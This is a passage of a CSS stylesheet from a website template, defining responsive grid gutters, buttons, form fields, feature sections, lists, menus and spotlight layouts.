.row.gtr-uniform {
margin-top: -1.5em;
}
.row.gtr-uniform > * {
padding-top: 1.5em;
}
.row.gtr-150 {
margin-top: 0;
margin-left: -2.25em;
}
.row.gtr-150 > * {
padding: 0 0 0 2.25em;
}
.row.gtr-150.gtr-uniform {
margin-top: -2.25em;
}
.row.gtr-150.gtr-uniform > * {
padding-top: 2.25em;
}
.row.gtr-200 {
margin-top: 0;
margin-left: -3em;
}
.row.gtr-200 > * {
padding: 0 0 0 3em;
}
.row.gtr-200.gtr-uniform {
margin-top: -3em;
}
.row.gtr-200.gtr-uniform > * {
padding-top: 3em;
}
}
@media screen and (max-width: 736px) {
.row {
display: flex;
flex-wrap: wrap;
box-sizing: border-box;
align-items: stretch;
}
.row > * {
box-sizing: border-box;
}
.row.gtr-uniform > * > :last-child {
margin-bottom: 0;
}
.row.aln-left {
justify-content: flex-start;
}
.row.aln-center {
justify-content: center;
}
.row.aln-right {
justify-content: flex-end;
}
.row.aln-top {
align-items: flex-start;
}
.row.aln-middle {
align-items: center;
}
.row.aln-bottom {
align-items: flex-end;
}
.row > .imp-small {
order: -1;
}
.row > .col-1-small {
width: 8.33333%;
}
.row > .off-1-small {
margin-left: 8.33333%;
}
.row > .col-2-small {
width: 16.66667%;
}
.row > .off-2-small {
margin-left: 16.66667%;
}
.row > .col-3-small {
width: 25%;
}
.row > .off-3-small {
margin-left: 25%;
}
.row > .col-4-small {
width: 33.33333%;
}
.row > .off-4-small {
margin-left: 33.33333%;
}
.row > .col-5-small {
width: 41.66667%;
}
.row > .off-5-small {
margin-left: 41.66667%;
}
.row > .col-6-small {
width: 50%;
}
.row > .off-6-small {
margin-left: 50%;
}
.row > .col-7-small {
width: 58.33333%;
}
.row > .off-7-small {
margin-left: 58.33333%;
}
.row > .col-8-small {
width: 66.66667%;
}
.row > .off-8-small {
margin-left: 66.66667%;
}
.row > .col-9-small {
width: 75%;
}
.row > .off-9-small {
margin-left: 75%;
}
.row > .col-10-small {
width: 83.33333%;
}
.row > .off-10-small {
margin-left: 83.33333%;
}
.row > .col-11-small {
width: 91.66667%;
}
.row > .off-11-small {
margin-left: 91.66667%;
}
.row > .col-12-small {
width: 100%;
}
.row > .off-12-small {
margin-left: 100%;
}
.row.gtr-0 {
margin-top: 0;
margin-left: 0em;
}
.row.gtr-0 > * {
padding: 0 0 0 0em;
}
.row.gtr-0.gtr-uniform {
margin-top: 0em;
}
.row.gtr-0.gtr-uniform > * {
padding-top: 0em;
}
.row.gtr-25 {
margin-top: 0;
margin-left: -0.375em;
}
.row.gtr-25 > * {
padding: 0 0 0 0.375em;
}
.row.gtr-25.gtr-uniform {
margin-top: -0.375em;
}
.row.gtr-25.gtr-uniform > * {
padding-top: 0.375em;
}
.row.gtr-50 {
margin-top: 0;
margin-left: -0.75em;
}
.row.gtr-50 > * {
padding: 0 0 0 0.75em;
}
.row.gtr-50.gtr-uniform {
margin-top: -0.75em;
}
.row.gtr-50.gtr-uniform > * {
padding-top: 0.75em;
}
.row {
margin-top: 0;
margin-left: -1.5em;
}
.row > * {
padding: 0 0 0 1.5em;
}
.row.gtr-uniform {
margin-top: -1.5em;
}
.row.gtr-uniform > * {
padding-top: 1.5em;
}
.row.gtr-150 {
margin-top: 0;
margin-left: -2.25em;
}
.row.gtr-150 > * {
padding: 0 0 0 2.25em;
}
.row.gtr-150.gtr-uniform {
margin-top: -2.25em;
}
.row.gtr-150.gtr-uniform > * {
padding-top: 2.25em;
}
.row.gtr-200 {
margin-top: 0;
margin-left: -3em;
}
.row.gtr-200 > * {
padding: 0 0 0 3em;
}
.row.gtr-200.gtr-uniform {
margin-top: -3em;
}
.row.gtr-200.gtr-uniform > * {
padding-top: 3em;
}
}
@media screen and (max-width: 480px) {
.row {
display: flex;
flex-wrap: wrap;
box-sizing: border-box;
align-items: stretch;
}
.row > * {
box-sizing: border-box;
}
.row.gtr-uniform > * > :last-child {
margin-bottom: 0;
}
.row.aln-left {
justify-content: flex-start;
}
.row.aln-center {
justify-content: center;
}
.row.aln-right {
justify-content: flex-end;
}
.row.aln-top {
align-items: flex-start;
}
.row.aln-middle {
align-items: center;
}
.row.aln-bottom {
align-items: flex-end;
}
.row > .imp-xsmall {
order: -1;
}
.row > .col-1-xsmall {
width: 8.33333%;
}
.row > .off-1-xsmall {
margin-left: 8.33333%;
}
.row > .col-2-xsmall {
width: 16.66667%;
}
.row > .off-2-xsmall {
margin-left: 16.66667%;
}
.row > .col-3-xsmall {
width: 25%;
}
.row > .off-3-xsmall {
margin-left: 25%;
}
.row > .col-4-xsmall {
width: 33.33333%;
}
.row > .off-4-xsmall {
margin-left: 33.33333%;
}
.row > .col-5-xsmall {
width: 41.66667%;
}
.row > .off-5-xsmall {
margin-left: 41.66667%;
}
.row > .col-6-xsmall {
width: 50%;
}
.row > .off-6-xsmall {
margin-left: 50%;
}
.row > .col-7-xsmall {
width: 58.33333%;
}
.row > .off-7-xsmall {
margin-left: 58.33333%;
}
.row > .col-8-xsmall {
width: 66.66667%;
}
.row > .off-8-xsmall {
margin-left: 66.66667%;
}
.row > .col-9-xsmall {
width: 75%;
}
.row > .off-9-xsmall {
margin-left: 75%;
}
.row > .col-10-xsmall {
width: 83.33333%;
}
.row > .off-10-xsmall {
margin-left: 83.33333%;
}
.row > .col-11-xsmall {
width: 91.66667%;
}
.row > .off-11-xsmall {
margin-left: 91.66667%;
}
.row > .col-12-xsmall {
width: 100%;
}
.row > .off-12-xsmall {
margin-left: 100%;
}
.row.gtr-0 {
margin-top: 0;
margin-left: 0em;
}
.row.gtr-0 > * {
padding: 0 0 0 0em;
}
.row.gtr-0.gtr-uniform {
margin-top: 0em;
}
.row.gtr-0.gtr-uniform > * {
padding-top: 0em;
}
.row.gtr-25 {
margin-top: 0;
margin-left: -0.375em;
}
.row.gtr-25 > * {
padding: 0 0 0 0.375em;
}
.row.gtr-25.gtr-uniform {
margin-top: -0.375em;
}
.row.gtr-25.gtr-uniform > * {
padding-top: 0.375em;
}
.row.gtr-50 {
margin-top: 0;
margin-left: -0.75em;
}
.row.gtr-50 > * {
padding: 0 0 0 0.75em;
}
.row.gtr-50.gtr-uniform {
margin-top: -0.75em;
}
.row.gtr-50.gtr-uniform > * {
padding-top: 0.75em;
}
.row {
margin-top: 0;
margin-left: -1.5em;
}
.row > * {
padding: 0 0 0 1.5em;
}
.row.gtr-uniform {
margin-top: -1.5em;
}
.row.gtr-uniform > * {
padding-top: 1.5em;
}
.row.gtr-150 {
margin-top: 0;
margin-left: -2.25em;
}
.row.gtr-150 > * {
padding: 0 0 0 2.25em;
}
.row.gtr-150.gtr-uniform {
margin-top: -2.25em;
}
.row.gtr-150.gtr-uniform > * {
padding-top: 2.25em;
}
.row.gtr-200 {
margin-top: 0;
margin-left: -3em;
}
.row.gtr-200 > * {
padding: 0 0 0 3em;
}
.row.gtr-200.gtr-uniform {
margin-top: -3em;
}
.row.gtr-200.gtr-uniform > * {
padding-top: 3em;
}
}
/* Box */
.box {
border-radius: 0.25em;
border: solid 1px rgba(255, 255, 255, 0.15);
margin-bottom: 2em;
padding: 1.5em;
}
.box > :last-child,
.box > :last-child > :last-child,
.box > :last-child > :last-child > :last-child {
margin-bottom: 0;
}
.box.alt {
border: 0;
border-radius: 0;
padding: 0;
}
/* Button */
input[type="submit"],
input[type="reset"],
input[type="button"],
button,
.button {
-moz-appearance: none;
-webkit-appearance: none;
-ms-appearance: none;
appearance: none;
-moz-transition: border-color 0.2s ease;
-webkit-transition: border-color 0.2s ease;
-ms-transition: border-color 0.2s ease;
transition: border-color 0.2s ease;
background-color: transparent;
border: solid 1px !important;
border-color: rgba(255, 255, 255, 0.15) !important;
border-radius: 3em;
color: #ffffff !important;
cursor: pointer;
display: inline-block;
font-size: 0.6em;
font-weight: bold;
height: calc(4.75em + 2px);
letter-spacing: 0.25em;
line-height: 4.75em;
outline: 0;
padding: 0 3.75em;
position: relative;
text-align: center;
text-decoration: none;
text-transform: uppercase;
white-space: nowrap;
}
input[type="submit"]:after,
input[type="reset"]:after,
input[type="button"]:after,
button:after,
.button:after {
-moz-transform: scale(0.25);
-webkit-transform: scale(0.25);
-ms-transform: scale(0.25);
transform: scale(0.25);
pointer-events: none;
-moz-transition: opacity 0.2s ease, -moz-transform 0.2s ease;
-webkit-transition: opacity 0.2s ease, -webkit-transform 0.2s ease;
-ms-transition: opacity 0.2s ease, -ms-transform 0.2s ease;
transition: opacity 0.2s ease, transform 0.2s ease;
background: #ffffff;
border-radius: 3em;
content: '';
height: 100%;
left: 0;
opacity: 0;
position: absolute;
top: 0;
width: 100%;
}
input[type="submit"].icon:before,
input[type="reset"].icon:before,
input[type="button"].icon:before,
button.icon:before,
.button.icon:before {
margin-right: 0.75em;
}
input[type="submit"].fit,
input[type="reset"].fit,
input[type="button"].fit,
button.fit,
.button.fit {
width: 100%;
}
input[type="submit"].small,
input[type="reset"].small,
input[type="button"].small,
button.small,
.button.small {
font-size: 0.4em;
}
input[type="submit"].large,
input[type="reset"].large,
input[type="button"].large,
button.large,
.button.large {
font-size: 0.8em;
}
input[type="submit"].primary,
input[type="reset"].primary,
input[type="button"].primary,
button.primary,
.button.primary {
background-color: #ffffff;
color: #312450 !important;
}
input[type="submit"].primary:after,
input[type="reset"].primary:after,
input[type="button"].primary:after,
button.primary:after,
.button.primary:after {
display: none;
}
input[type="submit"].disabled, input[type="submit"]:disabled,
input[type="reset"].disabled,
input[type="reset"]:disabled,
input[type="button"].disabled,
input[type="button"]:disabled,
button.disabled,
button:disabled,
.button.disabled,
.button:disabled {
cursor: default;
opacity: 0.5;
pointer-events: none;
}
input[type="submit"]:hover,
input[type="reset"]:hover,
input[type="button"]:hover,
button:hover,
.button:hover {
border-color: rgba(255, 255, 255, 0.55) !important;
}
input[type="submit"]:hover:after,
input[type="reset"]:hover:after,
input[type="button"]:hover:after,
button:hover:after,
.button:hover:after {
opacity: 0.05;
-moz-transform: scale(1);
-webkit-transform: scale(1);
-ms-transform: scale(1);
transform: scale(1);
}
input[type="submit"]:hover:active,
input[type="reset"]:hover:active,
input[type="button"]:hover:active,
button:hover:active,
.button:hover:active {
border-color: #ffffff !important;
}
input[type="submit"]:hover:active:after,
input[type="reset"]:hover:active:after,
input[type="button"]:hover:active:after,
button:hover:active:after,
.button:hover:active:after {
opacity: 0.1;
}
/* Features */
.features {
display: -moz-flex;
display: -webkit-flex;
display: -ms-flex;
display: flex;
-moz-flex-wrap: wrap;
-webkit-flex-wrap: wrap;
-ms-flex-wrap: wrap;
flex-wrap: wrap;
border-radius: 0.25em;
border: solid 1px rgba(255, 255, 255, 0.15);
background: rgba(255, 255, 255, 0.05);
margin: 0 0 2em 0;
}
.features section {
padding: 3.5em 3em 1em 7em ;
width: 50%;
border-top: solid 1px rgba(255, 255, 255, 0.15);
position: relative;
}
.features section:nth-child(-n + 2) {
border-top-width: 0;
}
.features section:nth-child(2n) {
border-left: solid 1px rgba(255, 255, 255, 0.15);
}
.features section .icon {
-moz-transition: opacity 0.5s ease, -moz-transform 0.5s ease;
-webkit-transition: opacity 0.5s ease, -webkit-transform 0.5s ease;
-ms-transition: opacity 0.5s ease, -ms-transform 0.5s ease;
transition: opacity 0.5s ease, transform 0.5s ease;
-moz-transition-delay: 1s;
-webkit-transition-delay: 1s;
-ms-transition-delay: 1s;
transition-delay: 1s;
-moz-transform: scale(1);
-webkit-transform: scale(1);
-ms-transform: scale(1);
transform: scale(1);
position: absolute;
left: 3em;
top: 3em;
opacity: 1;
}
.features section:nth-child(1) .icon {
-moz-transition-delay: 0.15s;
-webkit-transition-delay: 0.15s;
-ms-transition-delay: 0.15s;
transition-delay: 0.15s;
}
.features section:nth-child(2) .icon {
-moz-transition-delay: 0.3s;
-webkit-transition-delay: 0.3s;
-ms-transition-delay: 0.3s;
transition-delay: 0.3s;
}
.features section:nth-child(3) .icon {
-moz-transition-delay: 0.45s;
-webkit-transition-delay: 0.45s;
-ms-transition-delay: 0.45s;
transition-delay: 0.45s;
}
.features section:nth-child(4) .icon {
-moz-transition-delay: 0.6s;
-webkit-transition-delay: 0.6s;
-ms-transition-delay: 0.6s;
transition-delay: 0.6s;
}
.features section:nth-child(5) .icon {
-moz-transition-delay: 0.75s;
-webkit-transition-delay: 0.75s;
-ms-transition-delay: 0.75s;
transition-delay: 0.75s;
}
.features section:nth-child(6) .icon {
-moz-transition-delay: 0.9s;
-webkit-transition-delay: 0.9s;
-ms-transition-delay: 0.9s;
transition-delay: 0.9s;
}
.features section:nth-child(7) .icon {
-moz-transition-delay: 1.05s;
-webkit-transition-delay: 1.05s;
-ms-transition-delay: 1.05s;
transition-delay: 1.05s;
}
.features section:nth-child(8) .icon {
-moz-transition-delay: 1.2s;
-webkit-transition-delay: 1.2s;
-ms-transition-delay: 1.2s;
transition-delay: 1.2s;
}
.features section:nth-child(9) .icon {
-moz-transition-delay: 1.35s;
-webkit-transition-delay: 1.35s;
-ms-transition-delay: 1.35s;
transition-delay: 1.35s;
}
.features section:nth-child(10) .icon {
-moz-transition-delay: 1.5s;
-webkit-transition-delay: 1.5s;
-ms-transition-delay: 1.5s;
transition-delay: 1.5s;
}
.features section:nth-child(11) .icon {
-moz-transition-delay: 1.65s;
-webkit-transition-delay: 1.65s;
-ms-transition-delay: 1.65s;
transition-delay: 1.65s;
}
.features section:nth-child(12) .icon {
-moz-transition-delay: 1.8s;
-webkit-transition-delay: 1.8s;
-ms-transition-delay: 1.8s;
transition-delay: 1.8s;
}
.features section:nth-child(13) .icon {
-moz-transition-delay: 1.95s;
-webkit-transition-delay: 1.95s;
-ms-transition-delay: 1.95s;
transition-delay: 1.95s;
}
.features section:nth-child(14) .icon {
-moz-transition-delay: 2.1s;
-webkit-transition-delay: 2.1s;
-ms-transition-delay: 2.1s;
transition-delay: 2.1s;
}
.features section:nth-child(15) .icon {
-moz-transition-delay: 2.25s;
-webkit-transition-delay: 2.25s;
-ms-transition-delay: 2.25s;
transition-delay: 2.25s;
}
.features section:nth-child(16) .icon {
-moz-transition-delay: 2.4s;
-webkit-transition-delay: 2.4s;
-ms-transition-delay: 2.4s;
transition-delay: 2.4s;
}
.features section:nth-child(17) .icon {
-moz-transition-delay: 2.55s;
-webkit-transition-delay: 2.55s;
-ms-transition-delay: 2.55s;
transition-delay: 2.55s;
}
.features section:nth-child(18) .icon {
-moz-transition-delay: 2.7s;
-webkit-transition-delay: 2.7s;
-ms-transition-delay: 2.7s;
transition-delay: 2.7s;
}
.features section:nth-child(19) .icon {
-moz-transition-delay: 2.85s;
-webkit-transition-delay: 2.85s;
-ms-transition-delay: 2.85s;
transition-delay: 2.85s;
}
.features section:nth-child(20) .icon {
-moz-transition-delay: 3s;
-webkit-transition-delay: 3s;
-ms-transition-delay: 3s;
transition-delay: 3s;
}
.features.inactive section .icon {
-moz-transform: scale(0.5);
-webkit-transform: scale(0.5);
-ms-transform: scale(0.5);
transform: scale(0.5);
opacity: 0;
}
@media screen and (max-width: 980px) {
.features {
display: block;
}
.features section {
border-top-width: 1px !important;
border-left-width: 0 !important;
width: 100%;
}
.features section:first-child {
border-top-width: 0 !important;
}
}
@media screen and (max-width: 736px) {
.features section {
padding: 2.5em 1.5em 0.1em 5.5em ;
}
.features section .icon {
left: 1.5em;
top: 2em;
}
}
@media screen and (max-width: 480px) {
.features section {
padding: 2em 1.5em 0.1em 1.5em ;
}
.features section .icon {
left: 0;
position: relative;
top: 0;
}
}
/* Form */
form {
margin: 0 0 2em 0;
}
form > :last-child {
margin-bottom: 0;
}
form > .fields {
display: -moz-flex;
display: -webkit-flex;
display: -ms-flex;
display: flex;
-moz-flex-wrap: wrap;
-webkit-flex-wrap: wrap;
-ms-flex-wrap: wrap;
flex-wrap: wrap;
width: calc(100% + 3em);
margin: -1.5em 0 2em -1.5em;
}
form > .fields > .field {
-moz-flex-grow: 0;
-webkit-flex-grow: 0;
-ms-flex-grow: 0;
flex-grow: 0;
-moz-flex-shrink: 0;
-webkit-flex-shrink: 0;
-ms-flex-shrink: 0;
flex-shrink: 0;
padding: 1.5em 0 0 1.5em;
width: calc(100% - 1.5em);
}
form > .fields > .field.half {
width: calc(50% - 0.75em);
}
form > .fields > .field.third {
width: calc(100%/3 - 0.5em);
}
form > .fields > .field.quarter {
width: calc(25% - 0.375em);
}
@media screen and (max-width: 480px) {
form > .fields {
width: calc(100% + 3em);
margin: -1.5em 0 2em -1.5em;
}
form > .fields > .field {
padding: 1.5em 0 0 1.5em;
width: calc(100% - 1.5em);
}
form > .fields > .field.half {
width: calc(100% - 1.5em);
}
form > .fields > .field.third {
width: calc(100% - 1.5em);
}
form > .fields > .field.quarter {
width: calc(100% - 1.5em);
}
}
label {
color: #ffffff;
font-weight: bold;
line-height: 1.5;
margin: 0 0 0.7em 0;
display: block;
font-size: 1.1em;
}
input[type="text"],
input[type="password"],
input[type="email"],
input[type="tel"],
select,
textarea {
-moz-appearance: none;
-webkit-appearance: none;
-ms-appearance: none;
appearance: none;
background: rgba(255, 255, 255, 0.05);
border-radius: 0.25em;
border: none;
border: solid 1px rgba(255, 255, 255, 0.15);
color: inherit;
display: block;
outline: 0;
padding: 0 1em;
text-decoration: none;
width: 100%;
}
input[type="text"]:invalid,
input[type="password"]:invalid,
input[type="email"]:invalid,
input[type="tel"]:invalid,
select:invalid,
textarea:invalid {
box-shadow: none;
}
input[type="text"]:focus,
input[type="password"]:focus,
input[type="email"]:focus,
input[type="tel"]:focus,
select:focus,
textarea:focus {
border-color: #ffffff;
box-shadow: 0 0 0 1px #ffffff;
}
select {
background-image: url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' width='40' height='40' preserveAspectRatio='none' viewBox='0 0 40 40'%3E%3Cpath d='M9.4,12.3l10.4,10.4l10.4-10.4c0.2-0.2,0.5-0.4,0.9-0.4c0.3,0,0.6,0.1,0.9,0.4l3.3,3.3c0.2,0.2,0.4,0.5,0.4,0.9 c0,0.4-0.1,0.6-0.4,0.9L20.7,31.9c-0.2,0.2-0.5,0.4-0.9,0.4c-0.3,0-0.6-0.1-0.9-0.4L4.3,17.3c-0.2-0.2-0.4-0.5-0.4-0.9 c0-0.4,0.1-0.6,0.4-0.9l3.3-3.3c0.2-0.2,0.5-0.4,0.9-0.4S9.1,12.1,9.4,12.3z' fill='rgba(255, 255, 255, 0.15)' /%3E%3C/svg%3E");
background-size: 1.25rem;
background-repeat: no-repeat;
background-position: calc(100% - 1rem) center;
height: 2.75em;
padding-right: 2.75em;
text-overflow: ellipsis;
}
select option {
color: #ffffff;
background: #312450;
}
select:focus::-ms-value {
background-color: transparent;
}
select::-ms-expand {
display: none;
}
input[type="text"],
input[type="password"],
input[type="email"],
select {
height: 2.75em;
}
textarea {
padding: 0.75em 1em;
}
body.is-ie textarea {
min-height: 10em;
}
input[type="checkbox"],
input[type="radio"] {
-moz-appearance: none;
-webkit-appearance: none;
-ms-appearance: none;
appearance: none;
display: block;
float: left;
margin-right: -2em;
opacity: 0;
width: 1em;
z-index: -1;
}
input[type="checkbox"] + label,
input[type="radio"] + label {
text-decoration: none;
color: rgba(255, 255, 255, 0.55);
cursor: pointer;
display: inline-block;
font-size: 1em;
font-weight: normal;
padding-left: 2.4em;
padding-right: 0.75em;
position: relative;
}
input[type="checkbox"] + label:before,
input[type="radio"] + label:before {
-moz-osx-font-smoothing: grayscale;
-webkit-font-smoothing: antialiased;
display: inline-block;
font-style: normal;
font-variant: normal;
text-rendering: auto;
line-height: 1;
text-transform: none !important;
font-family: 'Font Awesome 5 Free';
font-weight: 900;
}
input[type="checkbox"] + label:before,
input[type="radio"] + label:before {
background: rgba(255, 255, 255, 0.05);
border-radius: 0.25em;
border: solid 1px rgba(255, 255, 255, 0.15);
content: '';
display: inline-block;
font-size: 0.8em;
height: 2.0625em;
left: 0;
line-height: 2.0625em;
position: absolute;
text-align: center;
top: 0;
width: 2.0625em;
}
input[type="checkbox"]:checked + label:before,
input[type="radio"]:checked + label:before {
background: #ffffff;
border-color: #ffffff;
color: #b74e91;
content: '\f00c';
}
input[type="checkbox"]:focus + label:before,
input[type="radio"]:focus + label:before {
border-color: #ffffff;
box-shadow: 0 0 0 1px #ffffff;
}
input[type="checkbox"] + label:before {
border-radius: 0.25em;
}
input[type="radio"] + label:before {
border-radius: 100%;
}
::-webkit-input-placeholder {
color: rgba(255, 255, 255, 0.35) !important;
opacity: 1.0;
}
:-moz-placeholder {
color: rgba(255, 255, 255, 0.35) !important;
opacity: 1.0;
}
::-moz-placeholder {
color: rgba(255, 255, 255, 0.35) !important;
opacity: 1.0;
}
:-ms-input-placeholder {
color: rgba(255, 255, 255, 0.35) !important;
opacity: 1.0;
}
/* Icon */
.icon {
text-decoration: none;
border-bottom: none;
position: relative;
}
.icon:before {
-moz-osx-font-smoothing: grayscale;
-webkit-font-smoothing: antialiased;
display: inline-block;
font-style: normal;
font-variant: normal;
text-rendering: auto;
line-height: 1;
text-transform: none !important;
font-family: 'Font Awesome 5 Free';
font-weight: 400;
}
.icon > .label {
display: none;
}
.icon:before {
line-height: inherit;
}
.icon.solid:before {
font-weight: 900;
}
.icon.brands:before {
font-family: 'Font Awesome 5 Brands';
}
.icon.major {
width: 2.5em;
height: 2.5em;
display: block;
background: #7575FF;
border-radius: 100%;
color: #111111;
text-align: center;
line-height: 2.5em;
margin: 0 0 1.3em 0;
}
.icon.major:before {
font-size: 1.25em;
}
.wrapper.style1 .icon.major:before {
color: #111111;
}
.wrapper.style1-alt .icon.major:before {
color: #111111;
}
.wrapper.style2 .icon.major:before {
color: #111111;
}
.wrapper.style2-alt .icon.major:before {
color: #111111;
}
.wrapper.style3 .icon.major:before {
color: #111111;
}
.wrapper.style3-alt .icon.major:before {
color: #111111;
}
/* Image */
.image {
border-radius: 0.25em;
border: 0;
display: inline-block;
position: relative;
}
.image img {
border-radius: 0.25em;
display: block;
}
.image.left, .image.right {
max-width: 40%;
}
.image.left img, .image.right img {
width: 100%;
}
.image.left {
float: left;
margin: 0 1.5em 1em 0;
top: 0.25em;
}
.image.right {
float: right;
margin: 0 0 1em 1.5em;
top: 0.25em;
}
.image.fit {
display: block;
margin: 0 0 2em 0;
width: 100%;
}
.image.fit img {
width: 100%;
}
.image.main {
display: block;
margin: 0 0 3em 0;
width: 100%;
}
.image.main img {
width: 100%;
}
/* List */
ol {
list-style: decimal;
margin: 0 0 2em 0;
padding-left: 1.25em;
}
ol li {
padding-left: 0.25em;
}
ul {
list-style: disc;
margin: 0 0 2em 0;
padding-left: 1em;
}
ul li {
padding-left: 0.5em;
}
ul.alt {
list-style: none;
padding-left: 0;
}
ul.alt li {
border-top: solid 1px rgba(255, 255, 255, 0.15);
padding: 0.5em 0;
}
ul.alt li:first-child {
border-top: 0;
padding-top: 0;
}
dl {
margin: 0 0 2em 0;
}
dl dt {
display: block;
font-weight: bold;
margin: 0 0 1em 0;
}
dl dd {
margin-left: 2em;
}
/* Actions */
ul.actions {
display: -moz-flex;
display: -webkit-flex;
display: -ms-flex;
display: flex;
cursor: default;
list-style: none;
margin-left: -1em;
padding-left: 0;
}
ul.actions li {
padding: 0 0 0 1em;
vertical-align: middle;
}
ul.actions.special {
-moz-justify-content: center;
-webkit-justify-content: center;
-ms-justify-content: center;
justify-content: center;
width: 100%;
margin-left: 0;
}
ul.actions.special li:first-child {
padding-left: 0;
}
ul.actions.stacked {
-moz-flex-direction: column;
-webkit-flex-direction: column;
-ms-flex-direction: column;
flex-direction: column;
margin-left: 0;
}
ul.actions.stacked li {
padding: 1.3em 0 0 0;
}
ul.actions.stacked li:first-child {
padding-top: 0;
}
ul.actions.fit {
width: calc(100% + 1em);
}
ul.actions.fit li {
-moz-flex-grow: 1;
-webkit-flex-grow: 1;
-ms-flex-grow: 1;
flex-grow: 1;
-moz-flex-shrink: 1;
-webkit-flex-shrink: 1;
-ms-flex-shrink: 1;
flex-shrink: 1;
width: 100%;
}
ul.actions.fit li > * {
width: 100%;
}
ul.actions.fit.stacked {
width: 100%;
}
@media screen and (max-width: 480px) {
ul.actions:not(.fixed) {
-moz-flex-direction: column;
-webkit-flex-direction: column;
-ms-flex-direction: column;
flex-direction: column;
margin-left: 0;
width: 100% !important;
}
ul.actions:not(.fixed) li {
-moz-flex-grow: 1;
-webkit-flex-grow: 1;
-ms-flex-grow: 1;
flex-grow: 1;
-moz-flex-shrink: 1;
-webkit-flex-shrink: 1;
-ms-flex-shrink: 1;
flex-shrink: 1;
padding: 1em 0 0 0;
text-align: center;
width: 100%;
}
ul.actions:not(.fixed) li > * {
width: 100%;
}
ul.actions:not(.fixed) li:first-child {
padding-top: 0;
}
ul.actions:not(.fixed) li input[type="submit"],
ul.actions:not(.fixed) li input[type="reset"],
ul.actions:not(.fixed) li input[type="button"],
ul.actions:not(.fixed) li button,
ul.actions:not(.fixed) li .button {
width: 100%;
}
ul.actions:not(.fixed) li input[type="submit"].icon:before,
ul.actions:not(.fixed) li input[type="reset"].icon:before,
ul.actions:not(.fixed) li input[type="button"].icon:before,
ul.actions:not(.fixed) li button.icon:before,
ul.actions:not(.fixed) li .button.icon:before {
margin-left: -0.5rem;
}
}
/* Contact */
ul.contact {
list-style: none;
padding: 0;
}
ul.contact > li {
padding: 0;
margin: 1.5em 0 0 0;
}
ul.contact > li:first-child {
margin-top: 0;
}
/* Icons */
ul.icons {
cursor: default;
list-style: none;
padding-left: 0;
}
ul.icons li {
display: inline-block;
padding: 0 0.75em 0 0;
}
ul.icons li:last-child {
padding-right: 0;
}
ul.icons li > a, ul.icons li > span {
border: 0;
}
ul.icons li > a .label, ul.icons li > span .label {
display: none;
}
/* Menu */
ul.menu {
list-style: none;
padding: 0;
}
ul.menu > li {
border-left: solid 1px rgba(255, 255, 255, 0.15);
display: inline-block;
line-height: 1;
margin-left: 1.5em;
padding: 0 0 0 1.5em;
}
ul.menu > li:first-child {
border-left: 0;
margin: 0;
padding-left: 0;
}
@media screen and (max-width: 480px) {
ul.menu > li {
border-left: 0;
display: block;
line-height: inherit;
margin: 0.5em 0 0 0;
padding-left: 0;
}
}
/* Section/Article */
section.special, article.special {
text-align: center;
}
header p {
color: rgba(255, 255, 255, 0.35);
position: relative;
margin: 0 0 1.5em 0;
}
header h2 + p {
font-size: 1.25em;
margin-top: -1em;
line-height: 1.5em;
}
header h3 + p {
font-size: 1.1em;
margin-top: -0.8em;
line-height: 1.5em;
}
header h4 + p,
header h5 + p,
header h6 + p {
font-size: 0.9em;
margin-top: -0.6em;
line-height: 1.5em;
}
/* Split */
.split {
display: -moz-flex;
display: -webkit-flex;
display: -ms-flex;
display: flex;
}
.split > * {
width: calc(50% - 2.5em);
}
.split > :nth-child(2n - 1) {
padding-right: 2.5em;
border-right: solid 1px rgba(255, 255, 255, 0.15);
}
.split > :nth-child(2n) {
padding-left: 2.5em;
}
.split.style1 > :nth-child(2n - 1) {
width: calc(66.66666% - 2.5em);
}
.split.style1 > :nth-child(2n) {
width: calc(33.33333% - 2.5em);
}
@media screen and (max-width: 1680px) {
.split > * {
width: calc(50% - 2em);
}
.split > :nth-child(2n - 1) {
padding-right: 2em;
}
.split > :nth-child(2n) {
padding-left: 2em;
}
.split.style1 > :nth-child(2n - 1) {
width: calc(66.66666% - 2em);
}
.split.style1 > :nth-child(2n) {
width: calc(33.33333% - 2em);
}
}
@media screen and (max-width: 980px) {
.split {
display: block;
}
.split > * {
border-top: solid 1px rgba(255, 255, 255, 0.15);
margin: 4em 0 0 0;
padding: 4em 0 0 0;
width: 100% !important;
}
.split > :nth-child(2n - 1) {
border-right: 0;
padding-right: 0;
}
.split > :nth-child(2n) {
padding-left: 0;
}
.split > :first-child {
border-top: 0;
margin-top: 0;
padding-top: 0;
}
}
@media screen and (max-width: 736px) {
.split > * {
margin: 3em 0 0 0;
padding: 3em 0 0 0;
}
}
/* Spotlights */
.spotlights > section {
display: -moz-flex;
display: -webkit-flex;
display: -ms-flex;
display: flex;
-moz-flex-direction: row;
-webkit-flex-direction: row;
-ms-flex-direction: row;
flex-direction: row;
min-height: 22.5em;
}
body.is-ie .spotlights > section {
min-height: 0;
}
.spotlights > section > .image {
background-position: center center;
background-size: cover;
border-radius: 0;
display: block;
position: relative;
width: 25em;
}
.spotlights > section > .image img {
border-radius: 0;
display: block;
}
.spotlights > section > .image:before {
-moz-transition: opacity 1s ease;
-webkit-transition: opacity 1s ease;
-ms-transition: opacity 1s ease;
transition: opacity 1s ease;
background: #7575FF;
content: '';
display: block;
height: 100%;
left: 0;
opacity: 0;
position: absolute;
top: 0;
width: 100%;
}
.spotlights > section > .content {
padding: 4em 5em 2em 5em ;
display: -moz-flex;
display: -webkit-flex;
display: -ms-flex;
display: flex;
-moz-flex-direction: column;
-webkit-flex-direction: column;
-ms-flex-direction: column;
flex-direction: column;
-moz-justify-content: center;
-webkit-justify-content: center;
-ms-justify-content: center;
justify-content: center;
width: 50em;
-ms-flex: 1;
}
.spotlights > section > .content > .inner {
-moz-transform: translateX(0) translateY(0);
-webkit-transform: translateX(0) translateY(0);
-ms-transform: translateX(0) translateY(0);
transform: translateX(0) translateY(0);
-moz-transition: opacity 1s ease, -moz-transform 1s ease;
-webkit-transition: opacity 1s ease, -webkit-transform 1s ease;
-ms-transition: opacity 1s ease, -ms-transform 1s ease;
transition: opacity 1s ease, transform 1s ease;
opacity: 1;
}
.spotlights > section:nth-child(2) {
background-color: rgba(0, 0, 0, 0.05);
}
.spotlights > section:nth-child(3) {
background-color: rgba(0, 0, 0, 0.1);
}
.spotlights > section.inactive > .image:before,
body.is-preload .spotlights > section > .image:before {
opacity: 1;
}
.spotlights > section.inactive > .content > .inner,
body.is-preload .spotlights > section > .content > .inner {
-moz-transform: translateX(-1em);
-webkit-transform: translateX(-1em);
-ms-transform: translateX(-1em);
